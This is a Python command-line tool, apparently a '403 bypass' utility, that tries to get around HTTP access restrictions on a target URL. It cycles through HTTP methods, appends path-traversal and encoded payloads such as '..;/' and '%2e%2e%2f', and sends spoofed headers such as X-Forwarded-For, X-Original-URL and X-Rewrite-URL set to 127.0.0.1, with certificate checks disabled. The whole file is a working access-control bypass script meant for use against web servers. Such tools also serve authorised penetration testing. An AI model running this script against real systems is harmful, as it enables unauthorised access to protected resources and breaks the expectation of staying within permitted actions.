#!
/bin/python
import requests
import sys
import colorama
import time
from colorama import Fore, Style
import urllib3
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
domain = sys.argv[1]
path = sys.argv[2]
url = domain + path
print(
Style.BRIGHT
+ Fore.BLUE
+ """
___ _______ ______ ______ _______ _______ _______ _______
_______ _______
/ ) ( __ )/ ___ \ ( ___ \ |\ /|( ____ )( ___ )( ____ \( ____ \
( ____ \( ____ )
/ /) | | ( ) |\/ \ \ | ( ) )( \ / )| ( )|| ( ) || ( \/|
( \/| ( \/| ( )|
/ (_) (_ | | / | ___) / | (__/ / \ (_) / | (____)|| (___) || (_____ | (_____
| (__ | (____)|
(____ _)| (/ /) | (___ ( | __ ( \ / | _____)| ___ |(_____ )
(_____ )| __) | __)
) ( | / | | ) \ | ( \ \ ) ( | ( | ( ) | ) | )
|| ( | (\ (
| | | (__) |/\___/ / | )___) ) | | | ) | ) ( |/\____) |/\____)
|| (____/\| ) \ \__
(_) (_______)\______/ |/ \___/ \_/ |/ |/ \|\_______)\_______)
(_______/|/ \__/
By
wh1t3r0se
"""
)
print(Style.BRIGHT + Fore.RED + "Using different methods " + "\n")
res1 = requests.get(url, allow_redirects=False, verify=False, timeout=5)
print(
Style.BRIGHT
+ Fore.GREEN
+ "using GET :"
+ "\t"
+ Fore.YELLOW
+ str(res1.status_code)
)
res2 = requests.post(url, allow_redirects=False, verify=False, timeout=5)
print(
Style.BRIGHT
+ Fore.GREEN
+ "using POST :"
+ "\t"
+ Fore.YELLOW
+ str(res2.status_code)
)
res3 = requests.head(url, allow_redirects=False, verify=False, timeout=5)
print(
Style.BRIGHT
+ Fore.GREEN
+ "using HEAD :"
+ "\t"
+ Fore.YELLOW
+ str(res3.status_code)
)
res4 = requests.put(url, allow_redirects=False, verify=False, timeout=5)
print(
Style.BRIGHT
+ Fore.GREEN
+ "using PUT : "
+ "\t"
+ Fore.YELLOW
+ str(res4.status_code)
)
res5 = requests.delete(url, allow_redirects=False, verify=False, timeout=5)
print(
Style.BRIGHT
+ Fore.GREEN
+ "using DELETE :"
+ "\t"
+ Fore.YELLOW
+ str(res5.status_code)
)
res6 = requests.patch(url, allow_redirects=False, verify=False, timeout=5)
print(
Style.BRIGHT
+ Fore.GREEN
+ "using PATCH :"
+ "\t"
+ Fore.YELLOW
+ str(res6.status_code)
)
print(Style.BRIGHT + Fore.RED + "Using payloads at end of URL " + "\n")
payloads = [
"/",
"/*",
"/%2f/",
"/./",
"./.",
"/*/",
"?",
"??",
"&",
"#",
"%",
"%20",
"%09",
"/..;/",
"../",
"..%2f",
"..;/",
".././",
"..%00/",
"..%0d",
"..%5c",
"..%ff/",
"%2e%2e%2f",
".%2e/",
"%3f",
"%26",
"%23",
".json",
]
for payload in payloads:
try:
url2 = url + payload
res7 = requests.get(url2, allow_redirects=False, verify=False, timeout=5)
print(
Style.BRIGHT
+ Fore.GREEN
+ url2
+ " : "
+ Fore.YELLOW
+ str(res7.status_code)
)
except:
pass
print(Style.BRIGHT + Fore.RED + "Using different headers " + "\n")
res8 = requests.get(
url, headers={"X-Forwarded-For": "127.0.0.1"}, allow_redirects=False,
verify=False
)
print(
Style.BRIGHT
+ Fore.GREEN
+ "X-Forwarded-For"
+ " : "
+ Fore.YELLOW
+ str(res8.status_code)
)
res9 = requests.get(
url, headers={"X-Forwarded-Host": "127.0.0.1"}, allow_redirects=False,
verify=False
)
print(
Style.BRIGHT
+ Fore.GREEN
+ "X-Forwarded-Host"
+ " : "
+ Fore.YELLOW
+ str(res9.status_code)
)
res10 = requests.get(
url, headers={"X-Host": "127.0.0.1"}, allow_redirects=False, verify=False
)
print(
Style.BRIGHT + Fore.GREEN + "X-Host" + " : " + Fore.YELLOW +
str(res10.status_code)
)
res11 = requests.get(
url,
headers={"X-Custom-IP-Authorization": "127.0.0.1"},
allow_redirects=False,
verify=False,
)
print(
Style.BRIGHT
+ Fore.GREEN
+ "X-Custom-IP-Authorization"
+ " : "
+ Fore.YELLOW
+ str(res11.status_code)
)
res12 = requests.get(
url, headers={"X-Original-URL": "127.0.0.1"}, allow_redirects=False,
verify=False
)
print(
Style.BRIGHT
+ Fore.GREEN
+ "X-Original-URL"
+ " : "
+ Fore.YELLOW
+ str(res12.status_code)
)
res13 = requests.get(
url, headers={"X-Originating-IP": "127.0.0.1"}, allow_redirects=False,
verify=False
)
print(
Style.BRIGHT
+ Fore.GREEN
+ "X-Originating-IP"
+ " : "
+ Fore.YELLOW
+ str(res13.status_code)
)
res14 = requests.get(
url, headers={"X-Remote-IP": "127.0.0.1"}, allow_redirects=False, verify=False
)
print(
Style.BRIGHT
+ Fore.GREEN
+ "X-Remote-IP"
+ " : "
+ Fore.YELLOW
+ str(res14.status_code)
)
url3 = domain + "/dev/null"
url4 = domain + path
res15 = requests.get(
url3, headers={"X-Rewrite-URL": url4}, allow_redirects=False, verify=False
)
print(
Style.BRIGHT
+ Fore.GREEN
+ "X-Rewrite-URL"
+ " : "
+ Fore.YELLOW
+ str(res15.status_code)
)
print(
Style.BRIGHT
+ Fore.RED
+ "finished automating . begin manual check . good luck "
+ "\n"
)
